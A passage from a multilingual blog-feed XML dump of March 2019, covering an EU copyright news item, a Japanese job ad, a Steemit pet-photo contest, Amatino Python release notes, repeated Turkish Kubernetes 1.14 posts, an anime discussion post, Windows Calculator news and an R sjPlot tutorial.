δωρεάν χρήση προστατευόμενου περιεχομένου για την προστασία της πολιτιστικής κληρονομιάς. Έργα που δεν είναι πλέον διαθέσιμα στο εμπόριο μπορούν να χρησιμοποιηθούν ελεύθερα σε περίπτωση που δεν υφίσταται κάποιος οργανισμός για τη συλλογική διαχείρισή τους για να εκδοθεί σχετική άδεια. Πώς αυτή η συμφωνία αλλάζει την υπάρχουσα κατάσταση Προς το παρόν, οι εταιρείες του διαδικτύου έχουν ελάχιστα κίνητρα να υπογράψουν δίκαιες συμβάσεις με τους κατόχους πνευματικών δικαιωμάτων, καθώς δεν θεωρούνται υπεύθυνες για το περιεχόμενο που αναρτούν οι χρήστες τους. Η μόνη τους υποχρέωση είναι να αφαιρούν περιεχόμενο που καταπατά πνευματικά δικαιώματα όταν ο κάτοχός τους το ζητήσει. Αυτή η πρακτική ωστόσο είναι επίπονη για τους κατόχους πνευματικών δικαιωμάτων και δεν τους εγγυάται δίκαιη ανταμοιβή. Καθιστώντας τις εταιρείες του διαδικτύου υπεύθυνες, θα ενισχυθεί η δυνατότητα των κατόχων πνευματικών δικαιωμάτων (κυρίως μουσικών, ερμηνευτών και σεναριογράφων, καθώς και εκδοτών ειδήσεων και δημοσιογράφων) να διεκδικήσουν δίκαιες συμβάσεις και κατά συνέπεια δίκαιες αμοιβές για την ψηφιακή εκμετάλλευση του υλικού τους. Δήλωση του εισηγητή AxelVoss (ΕΛΚ, Γερμανία) «Αυτή η οδηγία είναι ένα σημαντικό βήμα για την επανόρθωση μιας κατάστασης που έχει επιτρέψει σε ένα μικρό αριθμό εταιρειών να αποκομίσουν τεράστια ποσά χωρίς να ανταμείψουν όπως πρέπει τους χιλιάδες δημιουργούς και δημοσιογράφους στη δουλειά των οποίων στηρίζονται. Ταυτόχρονα, το κείμενο που υιοθετήθηκε περιέχει μεγάλο αριθμό διατάξεων που εγγυώνται ότι το διαδίκτυο θα παραμείνει χώρος ελεύθερης έκφρασης. Αυτές οι διατάξεις δεν ήταν από μόνες τους αναγκαίες γιατί η οδηγία δε θα δημιουργήσει καινούρια δικαιώματα για τους κατόχους πνευματικών δικαιωμάτων. Αφουγκραστήκαμε ωστόσο τις ανησυχίες που εκφράστηκαν και επιλέξαμε να εγγυηθούμε εκ νέου την ελευθερία της έκφρασης. Tα 'memes', τα 'GIFs', τα 'αποκόμματα' προστατεύονται τώρα περισσότερο από ποτέ. Είμαι επίσης χαρούμενος που το σημερινό κείμενο της συμφωνίας δίνει ιδιαίτερη σημασία στην προστασία των καινοφυών επιχειρήσεων. Οι κορυφαίες εταιρείες του αύριο είναι οι καινοφυείς επιχειρήσεις του σήμερα και η ποικιλομορφία που χρειαζόμαστε για αυτό στηρίζεται σε μια μεγάλη δεξαμενή καινοτόμων, δυναμικών, νεανικών επιχειρήσεων. Έχουμε μια οδηγία που προστατεύει το βιοπορισμό των ανθρώπων, διασφαλίζει τη δημοκρατία υπερασπιζόμενη ένα ποικίλο τοπίο μέσων ενημέρωσης, εδραιώνει την ελευθερία της έκφρασης και ενθαρρύνει τις καινοφυείς επιχειρήσεις και την τεχνολογική ανάπτυξη. Βοηθά έτσι να ετοιμάσουμε το διαδίκτυο του μέλλοντος, ένα χώρο που ωφελεί όλους, όχι μόνο λίγους ισχυρούς.» Πηγή</text><languageCode>el</languageCode><locationCode>gr</locationCode><coordinates /><links><link>https://4.bp.blogspot.com/-s_uCWNEwNbc/XJuTAPBDmLI/AAAAAAAARmc/079_RaIhGpY05F4bgIxEBwa3XtWIojXJACLcBGAs/s1600/6fe4b72566b2d1c3508f42d6cd39fdba_XL.jpg</link><link>https://www.parianostypos.gr/index.php/kosmos/kosmos-koinonia/item/36871-neoi-kanones-gia-ta-pnevmatika-dikaiomata-sto-diadiktyo</link></links><tags><tag>Τεχνολογία</tag><tag>Υπόλοιπη Ελλάδα</tag><tag>Υπόλοιπος Κόσμος</tag></tags><images /><indexedAt>2019-03-27T16:34:30Z</indexedAt><publishedAt>2019-03-27T15:51:00Z</publishedAt><reindexedAt>2019-03-27T16:34:30Z</reindexedAt><inlinksCount>0</inlinksCount><blogId>1912257473218394222</blogId><blogName>Τα νέα της Τήνου...Τώρα</blogName><blogUrl>http://www.tinosnow.gr</blogUrl><blogRank>2</blogRank><authority>9</authority></post><post><id>15240711700922536360</id><author>仕事中毒者</author><url>http://workaholic.jp/blog-entry-39636.html</url><title>【PHP/Vue.jS】アーティスト応援WEBアプリ開発【業務委託】</title><text>【PHP/Vue.jS】アーティスト応援WEBアプリ開発 月額単価：～85万円 雇用形態：業務委託 勤務地域：渋谷（東京都） 業務内容：AWS、Laravel、PHP、JavaScript、GitHub、Backlog案件。女性アーティストやタレント応援サイトのフロントエンド開発をご担当いただきます。サーバサイドからフロントエンドまでご経験によって幅広くご担当いただく場合がございます。 仕事の紹介はこちら 掲載元ページへ</text><languageCode>ja</languageCode><locationCode>jp</locationCode><coordinates /><links><link>https://px.a8.net/svt/ejp?a8mat=2ZN7UA+BUAEOQ+3UES+60WN6</link><link>https://freelance.levtech.jp/project/detail/31711</link></links><tags><tag>その他（システム開発）</tag></tags><images /><indexedAt>2019-03-27T16:16:53Z</indexedAt><publishedAt>2019-03-27T15:45:23Z</publishedAt><reindexedAt>2019-03-27T16:16:53Z</reindexedAt><inlinksCount>0</inlinksCount><blogId>15989120119104967048</blogId><blogName>仕事中毒 - workaholic - IT関連の副業やフリーランス向けお仕事情報を紹介。</blogName><blogUrl>http://workaholic.jp</blogUrl><blogRank>1</blogRank><authority>0</authority></post><post><id>16092124759359883597</id><author>dpet</author><url>http://dpet.vornix.blog/2019/03/27/dailypetphotography/</url><title>[EN/中文]DailyPetPhotography submissions | “每天寵物攝影” 圖片 Day 447</title><text>【dPet wants to acknowledge the hardwork going into the chosen photos in DailyPetPhotograhy! Could you give me a hand? Just click on the chosen photo(s), give any of them some comments or an upvote! dPet is so thankful for your support, together you and us will give rapport to pet owners and enthusiasts. Together, @dPet we are closely bonded to each other!】 
【dPet 想給予每天被挑選中的照片更多的鼓勵！ 你能幫dPet 一下嗎？ 只需要點擊被選中的照片，給他們一個評論或點贊！ dPet 很高興有些參加者已經在進行這個行動，它會創造出所有寵物愛好者互動的巨大力量！】 

【Here is a dog contest started by @supernovastaffy! You also can use this tag #dogsofsteemit!】 
【這裡也有也一個由@supernovastaffy舉辦的狗狗的比賽，你同樣也可以使用 #dogsofsteemit這個標籤！】 
https://steemit.com/steembasicincome/@supernovastaffy/dogsofsteemit-challenge-14-sbi-and-7-sbd-prize-pool-giveaway 

We read all posts tagged #dailypetphotography everyday and look forward to knowing more about your pets! However, if your photo is not selected today, don’t be discouraged! Have another try next time. Meanwhile, you might as well follow other steemians in #dailypetphotograhy, share anything with them about pets, mix and mingle and make friends! Break the ice, let them know you and your pets! 
如果你的照片今天並沒有被選中，請不要放棄！ 嘗試關注參加此次活動的其他steemians，其中一個目的就是製造更多機會與其他人互動！ 
人們並不認識你，讓他們認識你的寵物吧！ 
dPet 每天都會瀏覽寵物攝影的全部帖子，跟dPet 說多點關於你的寵物吧！ 

 
 

Please note that only original photos are accepted and selected in #dailypetphotography, plagiarised photos or content will result in disqualification @dPet! 
【At the end of each month, there will be a month-end DailyPetPhotography election at dPet! We are grateful if you could sponsor the DailyPetPhotography monthly election in SBD and grow a bigger prize pool! Thanks!】 
【Also, to encourage long-term participation in DailyPetPhotography, we expect that all monthly winners will receive a certain amount of dPet Smart Media Token (SMT) in 2019.】 
注意！DailyPetPhotograhy 這個活動必需使用原創照片，假如你的作品是抄襲的，將會被 dPet 取消資格！ 
【在月尾會舉行總選，歡迎贊助提供一個大大的彩池！謝謝！】 
【我們預計所有月選優勝者將會在2019年得到一定數量的dPet Smart Media Token (SMT)】 
 
Today’s three picks are as follows: 今天的挑選作品如下： 
【Top 3: 頭三位】 

@d00k13 –  Jerry straight up refused, he just stood there! 
傑瑞直接拒絕，他只是站在那裡！ 
 
 

@himalayanwomb – When Pao was alive we use to go for a small hike. She was an egg lover and very good model in front of camera! 
當Pao還活著時，我們會去小徒步旅行。 她是一個蛋情人，在鏡頭前非常好的模特！ 
 
 

@wakeupkitty – Time to pay the vet a visit! 
是時候去看獸醫了！ 
 
 
【Consolation prizes: 安慰獎】 

@grapthar – Kenji on the car! 
Kenji在車上！ 
 
 

@apnigrich – Bathing a favorite horse! 
給最愛的馬沐浴！ 
 
 

@bricat – Bricat is very good at total relaxing to stay very active during the nights! 
Bricat非常善於完全放鬆，在夜晚保持活躍！ 
 
 

@rockinson – With Bantu in the elevator! 
班圖在電梯裡！ 
 
 

@solominer – Tesla sleeping on the cat tree! 
特斯拉睡在貓樹上！ 
 
 
 
Thank you for all the submissions. If you have some pet photos to share, grab a camera, aim, press the shutter and partake in DailyPetPhotography at dPet! 
dPet 謝謝所有參加者，如果你有寵物，快拿起相機來拍張照片及參加 DailyPetPhotography! 

You can delegate your Steem Power to support us, here are the delegation links by steemconnect: 
你可以透過代理SP來支持我們，這是使用steemconnect代理的連結： 
20SP| 30SP| 50SP | 100SP 

A dPet discord server is at your service, come on over to say hi and make new friends there.  Here is the link. https://discord.gg/GYrnsNm 
Come join us on discord, together we are building a strong force protecting pets’ well-being! 
已經開設了discord了帳號，快來打個招呼吧，我們已經是老朋友了，鏈接在這裡：https://discord.gg/GYrnsNm 
歡迎加入，希望我們能夠形成強大的力量！ 

dPet welcomes all pet owners and enthusiasts to sponsor, upvote, resteem and follow this event! If you love and care about pets, let’s join forces to promote and protect welfare of pets on Steemit!
dPet 歡迎贊助、點讚、轉發及關注此活動！ 如果你喜歡寵物，來一起想想怎樣可以在 Steemit 為它們做更多的事情！

The event details are Here! 活動詳情在此! 
&lt;a href="https://steemit.com/dpet/@dpet/enguildlineofdailypetphotographyevent-gcehmbmhrp"&gt; 
 



 

 

 

 




The post [EN/中文]DailyPetPhotography submissions | “每天寵物攝影” 圖片 Day 447 appeared first on dPet.</text><languageCode>en</languageCode><locationCode>jp</locationCode><coordinates /><links><link>https://www.steemit.com/photography/@d00k13/jerry-didnt-want-to-do-our-last-loop-dogsofsteemit-dailypetphotography-23o2jbjz</link><link>https://www.steemit.com/dailypetphotography/@himalayanwomb/when-she-was-alive-cru1be3n</link><link>https://www.steemit.com/busy/@wakeupkitty/and-visit-the-vet-nqvjdkqz</link><link>https://www.steemit.com/cats/@grapthar/grapthar-s-daily-cat-photos-purrtraits-on-purrtraits-on-purrtraits-plus-group-photo-and-kenji-on-my-car</link><link>https://www.steemit.com/horse/@apnigrich/642eqn-bathing-the-red-horse-kupanie-krasnogo-konya</link><link>https://www.steemit.com/dailypetphotography/@bricat/sweet-dreams-of-bricat</link><link>https://www.steemit.com/dailypetphotography/@rockinson/stylo-dog</link><link>https://www.steemit.com/photography/@solominer/infrared-photography-tesla-sleeping-on-the-cat-tree</link><link>https://www.steemconnect.com/sign/delegateVestingShares?delegator=&amp;delegatee=dpet&amp;vesting_shares=20 SP</link><link>https://www.steemconnect.com/sign/delegateVestingShares?delegator=&amp;delegatee=dpet&amp;vesting_shares=30 SP</link><link>https://www.steemconnect.com/sign/delegateVestingShares?delegator=&amp;delegatee=dpet&amp;vesting_shares=50 SP</link><link>https://www.steemconnect.com/sign/delegateVestingShares?delegator=&amp;delegatee=dpet&amp;vesting_shares=100 SP</link><link>https://www.steemit.com/dpet/@dpet/enguildlineofdailypetphotographyevent-gcehmbmhrp</link><link>https://www.steemit.com/dpet/@dpet/enguildlineofdailypetphotographyevent-gcehmbmhrp</link><link>https://www.discord.gg/GYrnsNm</link><link>https://www.facebook.com/dpet.hk.7</link><link>https://www.twitter.com/dPet43019909</link><link>https://www.github.com/dpetsteemit</link></links><tags><tag>2019</tag><tag>Dailypetphotography 每日攝影活動</tag><tag>dailypetphotography</tag><tag>dpet</tag></tags><images /><indexedAt>2019-03-26T18:53:32Z</indexedAt><publishedAt>2019-03-27T15:43:08Z</publishedAt><reindexedAt>2019-03-27T16:45:42Z</reindexedAt><inlinksCount>0</inlinksCount><blogId>11054000914796518105</blogId><blogName>dPet</blogName><blogUrl>http://dpet.vornix.blog</blogUrl><blogRank>1</blogRank><authority>0</authority></post><post><id>8903631295546524158</id><author>Hugh Jeremy</author><url>https://amatino.io/blog/amatino-python-0-0-13-released/</url><title>Amatino Python 0.0.13 Released</title><text>Rejoice, Pythonistas! A new version of the Amatino Python library is now available. 0.0.13 adds new capabilities. Amatino Python is now nearing initial feature completion, with almost all existing API classes covered. Watch out, 0.0.13 is catastrophically breaking, many method signatures have changed and code written for 0.0.12 will not work. 
Why all the breaks? Many methods in 0.0.12 required the provision of a Session independent of an Entity, despite that Entity having ready access to the Session used when it was itself initialised. This redundancy was needlessly verbose. 

Add new UserList class
Add User.delete(), .create(), and .create_many() method
Add TransactionVersionList class
Conform Ledger to collections.Sequence
Simplify Ledger, Balance, Account, and Transaction method signatures: No more Session requirement
Publicise User.decode_many() method
Conform Transaction to collections.Sequence
Add Transaction.magnitude property
Conform Balance and RecursiveBalance to Denominated protocol
Conform Ledger and RecursiveLedger to Denominated protocol

Ledger and Transaction may be now be directly iterated over, revealing constituent LedgerRows and Entries respectively. They may also be subscripted. 
An example using Ledger: 
ledger = Ledger.retrieve(
   entity=mega_corp,
   account=revenue
)

for row in ledger:
   print("[{date}] {balance}".format(
      date=row.transaction.time.strftime("%Y-%m-%d"),
      balance='{:,.2f}'.format(row.balance)
   ))

print("Last row balance: {balance}".format(
   balance='{:,.2f}'.format(ledger[-1].balance)
))
And Transaction: 
sale = Transaction.retrieve(
   entity=mega_corp,
   id_=42,
   denomination=USD
)

print("Largest single entry: {amount}".format(
   amount='{:,2f}'.format(
      max([entry.amount for entry in sale])
   )
))
The new UserList allows you to retrieve all white-labels managed by your billing account. Draw on the State enum to refine the retrieval to all, deleted, or active users. 
active_users = UserList(
   session=session,
   state=State.active
)

print("Currently paying for {num} users".format(
   num=str(len(active_users))
))
Review the history of modifications to a Transaction using the TransactionVersionList. 
versions = TransactionVersionList.retrieve(
   entity=mega_corp,
   transaction=big_sale
)

for version in versions:
   print("{time}: {magnitude}".format(
      time=version.version_time.strftime("%Y-%m-%d"),
      magnitude='{:,2f}'.format(version.magnitude)
   )


For detailed documentation of the properties and methods of all Amatino classes, check out the Amatino Python Documentation. 
You can install Amatino via PyPi: 
$ pip install amatino
Or, if you already have Amatino Python installed, upgrade: 
$ pip install --upgrade amatino
Your feedback is most welcome on the Amatino discussion forums, or on Twitter.</text><languageCode>en</languageCode><locationCode /><coordinates /><links><link>https://www.github.com/amatino-code/amatino-python/wiki/Documentation</link><link>https://www.pypi.org/project/amatino</link><link>https://www.amatino.io/discussion</link><link>https://www.twitter.com/amatinoapi</link></links><tags><tag>Python Library Release Notes</tag><tag>ledger</tag><tag>python</tag><tag>transactions</tag><tag>update</tag></tags><images /><indexedAt>2019-03-27T15:48:37Z</indexedAt><publishedAt>2019-03-27T15:42:13Z</publishedAt><reindexedAt>2019-03-27T15:48:37Z</reindexedAt><inlinksCount>0</inlinksCount><blogId>7114877281349041775</blogId><blogName>Amatino Blog</blogName><blogUrl>https://amatino.io/blog</blogUrl><blogRank>2</blogRank><authority>19</authority></post><post><id>2850553370246013247</id><author>Emre Özkan ☁️   ☸️</author><url>https://medium.com/devopsturkiye/kubernetesin-1-14-versiyonu-ile-gelen-%C3%B6nemli-%C3%B6zellikleri-neler-b37db69b8587?source=rss-a88f441dd934------2</url><title>Kubernetes’in  1.14 versiyonu ile gelen önemli özellikleri neler?</title><text>Kubernetes’in 1.14 versiyonu ile gelen önemli özellikleri neler?Kubernetes yeni sürümü olan 1.14 versiyonu GitHub üzerinde yayınlandı.Alttaki linkten download edebilirsiniz. kubernetes/kubernetes Göze çarpan özellikleri aşağıda açıklamaya çalıştım. Bu sürümde ,Windows’un hem node olarak hem de container olarak production seviyesinde desteklemesi en önemli özellik olarak karşımıza çıkıyor.Windows tabanlı çalışan uygulamalarınızı da artık containerize edip Kubernetes ile yönetebilirsiniz.Aslında 3 yıl önce başlayan bir çalışmanın eseri olduğu söyleniyor. Node olarak ise şu an Windows Server 2019 destekleniyor.Kubernetes 1.14 ile birlikte Windows Container 'lar Production seviyesinde desteklenmeye başladı. https://t.co/ow91TNFQeb  — @ozkanemre_ Bir diğer gelişme , Kubernetes cluster’ınızı yönetmek için gerekli olan komut satırı olan “kubectl” ‘e yeni bir logo ve yeni bir dökümantasyon sitesi geldi.Maskotun ismi “kubee-cuddle” :)Introduction · The Kubectl Book Kustomize tool’u da bu versiyonda Kubectl komut satırı içine entegre edilmiş.(-k parametresi ile kullanılabiliyor)Yazılımcılar, Kubectl için plugin yazıp sub-command olarak edebiliyordu.Bu sürümle beraber stabil hale geldi.“Pod Ready ++” adında yeni bir state geldi.Kubernetes 1.14 ile birlikte "Pod Ready++" adı altında yeni bir state geldi. Pod 'unuz gerçekten network trafik almaya hazır mı? https://t.co/FHpMjDd7IK  — @ozkanemre_ Diğer yazılarıma göz atmak isterseniz; Emre Özkan ☁️ 🐧 🐳 ☸️ - Medium Kişisel Bloguma göz atmak isterseniz; Cloud Devops Unix Linux Container Tutorial | Cloud Devops Unix Linux Container News Tutorial Kubernetes’in  1.14 versiyonu ile gelen önemli özellikleri neler? was originally published in Devops Türkiye☁️ 🐧 🐳 ☸️ on Medium, where people are continuing the conversation by highlighting and responding to this story.</text><languageCode>tr</languageCode><locationCode>tr</locationCode><coordinates /><links><link>https://www.github.com/kubernetes/kubernetes/releases/tag/v1.14.0</link><link>https://www.t.co/ow91TNFQeb</link><link>https://www.twitter.com/ozkanemre_/status/1110443007176855553</link><link>https://kubectl.docs.kubernetes.io/</link><link>https://www.kustomize.io/</link><link>https://www.t.co/FHpMjDd7IK</link><link>https://www.twitter.com/ozkanemre_/status/1110447761512718336</link><link>https://www.medium.com/@emreozkan</link><link>https://www.sysaix.com/</link><link>https://www.medium.com/devopsturkiye/kubernetesin-1-14-versiyonu-ile-gelen-önemli-özellikleri-neler-b37db69b8587</link><link>https://www.medium.com/devopsturkiye</link></links><tags><tag>kubernetes</tag><tag>devops</tag><tag>kubectl</tag><tag>kustomize</tag><tag>windows-containers</tag></tags><images /><indexedAt>2019-03-27T15:42:14Z</indexedAt><publishedAt>2019-03-27T15:40:31Z</publishedAt><reindexedAt>2019-03-27T15:42:14Z</reindexedAt><inlinksCount>0</inlinksCount><blogId>2330827838440895038</blogId><blogName>Stories by Emre Özkan ☁️ </blogName><blogUrl>https://medium.com/@emreozkan?source=rss-a88f441dd934------2</blogUrl><blogRank>1</blogRank><authority>0</authority></post><post><id>776438044056900197</id><author>Emre Özkan ☁️   ☸️</author><url>https://medium.com/devopsturkiye/kubernetesin-1-14-versiyonu-ile-gelen-%C3%B6nemli-%C3%B6zellikleri-neler-b37db69b8587?source=rss----d1e6c5025b29---4</url><title>Kubernetes’in  1.14 versiyonu ile gelen önemli özellikleri neler?</title><text>Kubernetes’in 1.14 versiyonu ile gelen önemli özellikleri neler?Kubernetes yeni sürümü olan 1.14 versiyonu GitHub üzerinde yayınlandı.Alttaki linkten download edebilirsiniz. kubernetes/kubernetes Göze çarpan özellikleri aşağıda açıklamaya çalıştım. Bu sürümde ,Windows’un hem node olarak hem de container olarak production seviyesinde desteklemesi en önemli özellik olarak karşımıza çıkıyor.Windows tabanlı çalışan uygulamalarınızı da artık containerize edip Kubernetes ile yönetebilirsiniz.Aslında 3 yıl önce başlayan bir çalışmanın eseri olduğu söyleniyor. Node olarak ise şu an Windows Server 2019 destekleniyor.Kubernetes 1.14 ile birlikte Windows Container 'lar Production seviyesinde desteklenmeye başladı. https://t.co/ow91TNFQeb  — @ozkanemre_ Bir diğer gelişme , Kubernetes cluster’ınızı yönetmek için gerekli olan komut satırı olan “kubectl” ‘e yeni bir logo ve yeni bir dökümantasyon sitesi geldi.Maskotun ismi “kubee-cuddle” :)Introduction · The Kubectl Book Kustomize tool’u da bu versiyonda Kubectl komut satırı içine entegre edilmiş.(-k parametresi ile kullanılabiliyor)Yazılımcılar, Kubectl için plugin yazıp sub-command olarak edebiliyordu.Bu sürümle beraber stabil hale geldi.“Pod Ready ++” adında yeni bir state geldi.Kubernetes 1.14 ile birlikte "Pod Ready++" adı altında yeni bir state geldi. Pod 'unuz gerçekten network trafik almaya hazır mı? https://t.co/FHpMjDd7IK  — @ozkanemre_ Diğer yazılarıma göz atmak isterseniz; Emre Özkan ☁️ 🐧 🐳 ☸️ - Medium Kişisel Bloguma göz atmak isterseniz; Cloud Devops Unix Linux Container Tutorial | Cloud Devops Unix Linux Container News Tutorial Kubernetes’in  1.14 versiyonu ile gelen önemli özellikleri neler? was originally published in Devops Türkiye☁️ 🐧 🐳 ☸️ on Medium, where people are continuing the conversation by highlighting and responding to this story.</text><languageCode>tr</languageCode><locationCode /><coordinates /><links><link>https://www.github.com/kubernetes/kubernetes/releases/tag/v1.14.0</link><link>https://www.t.co/ow91TNFQeb</link><link>https://www.twitter.com/ozkanemre_/status/1110443007176855553</link><link>https://kubectl.docs.kubernetes.io/</link><link>https://www.kustomize.io/</link><link>https://www.t.co/FHpMjDd7IK</link><link>https://www.twitter.com/ozkanemre_/status/1110447761512718336</link><link>https://www.medium.com/@emreozkan</link><link>https://www.sysaix.com/</link><link>https://www.medium.com/devopsturkiye/kubernetesin-1-14-versiyonu-ile-gelen-önemli-özellikleri-neler-b37db69b8587</link><link>https://www.medium.com/devopsturkiye</link></links><tags><tag>kubernetes</tag><tag>devops</tag><tag>kubectl</tag><tag>kustomize</tag><tag>windows-containers</tag></tags><images /><indexedAt>2019-03-27T15:42:38Z</indexedAt><publishedAt>2019-03-27T15:40:31Z</publishedAt><reindexedAt>2019-03-27T15:42:38Z</reindexedAt><inlinksCount>0</inlinksCount><blogId>13211406789588721910</blogId><blogName>Devops Türkiye☁️ </blogName><blogUrl>https://medium.com/devopsturkiye?source=rss----d1e6c5025b29---4</blogUrl><blogRank>1</blogRank><authority>0</authority></post><post><id>111136934040292856</id><author>Emre Özkan ☁️   ☸️</author><url>https://medium.com/devopsturkiye/kubernetesin-1-14-versiyonu-ile-gelen-%C3%B6nemli-%C3%B6zellikleri-neler-b37db69b8587?source=rss------kubernetes-5</url><title>Kubernetes’in  1.14 versiyonu ile gelen önemli özellikleri neler?</title><text>Kubernetes yeni sürümü olan 1.14 versiyonu GitHub üzerinde yayınlandı.Alttaki linkten download edebilirsiniz. Continue reading on Devops Türkiye☁️   ☸️ »</text><languageCode>tr</languageCode><locationCode>cz</locationCode><coordinates /><links><link>https://www.medium.com/devopsturkiye/kubernetesin-1-14-versiyonu-ile-gelen-önemli-özellikleri-neler-b37db69b8587?source=rss------kubernetes-5</link><link>https://www.medium.com/devopsturkiye/kubernetesin-1-14-versiyonu-ile-gelen-önemli-özellikleri-neler-b37db69b8587?source=rss------kubernetes-5</link></links><tags><tag>kubernetes</tag><tag>devops</tag><tag>kubectl</tag><tag>kustomize</tag><tag>windows-containers</tag></tags><images /><indexedAt>2019-03-27T16:39:46Z</indexedAt><publishedAt>2019-03-27T15:40:31Z</publishedAt><reindexedAt>2019-03-27T16:39:46Z</reindexedAt><inlinksCount>0</inlinksCount><blogId>17857073787230755395</blogId><blogName>Kubernetes on Medium</blogName><blogUrl>https://medium.com/tag/kubernetes/latest?source=rss------kubernetes-5</blogUrl><blogRank>1</blogRank><authority>1</authority></post><post><id>4586403301998745018</id><author>suzarever</author><url>https://suzarever.home.blog/2019/03/27/tate-no-yuusha-no-nariagari-episode-12-discussion/</url><title>Tate no Yuusha no Nariagari – Episode 12 discussion</title><text>Tate no Yuusha no Nariagari – Episode 12 discussion 

Tate no Yuusha no Nariagari, episode 12: Episode 12 
Alternative names: The Rising of the Shield Hero 
Rate this episode here.

Streams 

Crunchyroll
VRV

Show information 

MyAnimeList
AniList
AniDB
Official Website
/r/shieldbro


Previous discussions 



Episode
Link
Score




1
Link
8.2


2
Link
8.98


3
Link
9.04


4
Link
9.47


5
Link
8.79


6
Link
8.71


7
Link
7.95


8
Link
8.01


9
Link
8.13


10
Link
8.63


11
Link
8.9




This post was created by a bot. Message the mod team for feedback and comments. The original source code can be found on GitHub.</text><languageCode>en</languageCode><locationCode /><coordinates /><links><link>https://www.youpoll.me/11831</link><link>http://www.crunchyroll.com/the-rising-of-the-shield-hero</link><link>https://www.vrv.co/series/G6W4QKX0R/The-Rising-of-the-Shield-Hero</link><link>https://www.myanimelist.net/anime/35790</link><link>https://www.anilist.co/anime/99263</link><link>https://www.anidb.net/perl-bin/animedb.pl?show=anime&amp;aid=13246</link><link>http://www.shieldhero-anime.jp/</link><link>https://www.redd.it/ad0hki</link><link>https://www.youpoll.me/9868/r</link><link>https://www.redd.it/agm9dc</link><link>https://www.youpoll.me/10132/r</link><link>https://www.redd.it/aj0v54</link><link>https://www.youpoll.me/10309/r</link><link>https://www.redd.it/aldt6u</link><link>https://www.youpoll.me/10478/r</link><link>https://www.redd.it/anrurz</link><link>https://www.youpoll.me/10671/r</link><link>https://www.redd.it/aq7pz3</link><link>https://www.youpoll.me/10852/r</link><link>https://www.redd.it/aspnhd</link><link>https://www.youpoll.me/11015/r</link><link>https://www.redd.it/avf1rp</link><link>https://www.youpoll.me/11198/r</link><link>https://www.redd.it/ay03on</link><link>https://www.youpoll.me/11357/r</link><link>https://www.redd.it/b0mpmu</link><link>https://www.youpoll.me/11505/r</link><link>https://www.redd.it/b3creg</link><link>https://www.youpoll.me/11669/r</link><link>https://www.github.com/r-anime/holo</link></links><tags><tag>Allgemein</tag><tag>IFTTT</tag><tag>reddit</tag></tags><images /><indexedAt>2019-03-27T17:50:15Z</indexedAt><publishedAt>2019-03-27T15:39:12Z</publishedAt><reindexedAt>2019-03-27T17:50:15Z</reindexedAt><inlinksCount>0</inlinksCount><blogId>14285507357637616656</blogId><blogName>Suzarever's Lounge</blogName><blogUrl>https://suzarever.home.blog</blogUrl><blogRank>1</blogRank><authority>0</authority></post><post><id>6256655094144053237</id><author>سيف الوائلي</author><url>https://alee7teraf.blogspot.com/2019/03/windows-10_27.html</url><title>تطبيق الحاسبة في نظام Windows 10 سيحصل على القدرة على الرسم البياني للمعادلات الرياضية</title><text>تعمل شركة مايكروسوفت على ميزة جديدة مهمة لتطبيق الحاسبة في نظام Windows 10. لقد جعلت التطبيق مفتوح المصدر على منصة GitHub في وقت سابق من هذا الشهر، وحتى الآن تلقى هذا التطبيق أكثر من ثلاثين إقتراحًا من المساهمين. ووفقا لتقرير جديد، تعمل مايكروسوفت على إضافة وضع الرسوم البيانية إلى التطبيق. سيؤدي ذلك بتطبيق الحاسبة على نظام Windows 10 إلى رسم المعادلات الرياضية. كان إضافة وضع الرسوم البيانية في الواقع أول إقتراح مفتوح المصدر تم إختياره من قبل مايكروسوفت للتطبيق. جاءت الفكرة من Dave Grochocki، وهو مهندس في الشركة أشار إلى أن الميزة ستمكن الطلاب من دراسة علم الجبر. وأضاف أن الجبر هو موضوع حاسم قبل أن ينتقل الطلاب إلى الرياضيات والعلوم والهندسة المتقدمة. ويتصادف أيضًا أن يكون موضوعًا يفشل فيه معظم الطلاب في الولايات المتحدة الأمريكية. ليس من الشائع أن تتمتع تطبيقات الحاسبة الأساسية بخاصية الرسوم البيانية، وبالتالي إذا قررت شركة مايكروسوفت فعلا جلب هذه الميزة، فهذا الأمر سيجعل تطبيق الحاسبة في نظام Windows 10 يحظى بأفضلية كبيرة على التطبيقات الأخرى. هذه الميزة قيد التطوير حاليًا، لذا يبقى أن نرى كم من الوقت سوف تستغرق الشركة قبل أن تقوم بإطلاقها على نظام Windows 10. تظهر المعلومات الإضافية على GitHub أن هذه الميزة ستسمح للمستخدمين برسم المعادلات الخطية والتربيعية والأسية. المصدر. Let's block ads! (Why?)   from إلكتروني https://ift.tt/2uuUcUK via IFTTT</text><languageCode>ar</languageCode><locationCode>jp</locationCode><coordinates /><links><link>https://www.electrony.net/?attachment_id=332597</link><link>https://www.theverge.com/2019/3/22/18277786/windows-10-microsoft-graphing-calculator-open-source-algebra</link><link>https://blockads.fivefilters.org/</link><link>https://blockads.fivefilters.org/acceptable.html</link><link>https://www.ifttt.com/?ref=da&amp;site=blogger</link></links><tags><tag>IFTTT</tag><tag>إلكتروني</tag></tags><images /><indexedAt>2019-03-27T16:06:12Z</indexedAt><publishedAt>2019-03-27T15:39:00Z</publishedAt><reindexedAt>2019-03-27T16:06:12Z</reindexedAt><inlinksCount>0</inlinksCount><blogId>1480680983622636844</blogId><blogName>مدونة الاحتراف التعليمية</blogName><blogUrl>https://alee7teraf.blogspot.com/</blogUrl><blogRank>1</blogRank><authority>0</authority></post><post><id>10903956258255208070</id><author>Daniel</author><url>https://strengejacke.wordpress.com/2019/03/27/quickly-create-codeplans-of-your-labelled-data-rstats/</url><title>Quickly create Codeplans of your (labelled) Data #rstats</title><text>The view_df() function from the sjPlot-package creates nice „codeplans“ from your data sets, and also supports labelled data and tagged NA-values. This gives you a comprehensive, yet clear overview of your data set. 
To demonstrate this function, we use a (labelled) data set from the European Social Survey. view_df() produces a HTML-file, that is – when you use RStudio – displayed in the viewer pane, or it can be opened in your webbrowser. 
 
Default codeplan
In this blog post, I used screenshots of the created HTML-tables, because else the formatting gets lost in this blog… 
We start with using the „standard“ output. 
library(sjlabelled)
library(sjPlot)

# load data, tag NA-values with 'tag.na = TRUE'
ess &lt;- read_spss("ESS8e02_1.sav", tag.na = TRUE)

# "standard" output. we only use selected variables 
# for demonstration purposes
view_df(ess[, c(1,2,6,8,149,151,532)], max.len = 10)
 
As you can see, values for string variables are not shown by default, as these typically clutter up the output. Furthermore, values for variables with many different values are truncated at some point, to avoid too long tables that are not readable anymore. 
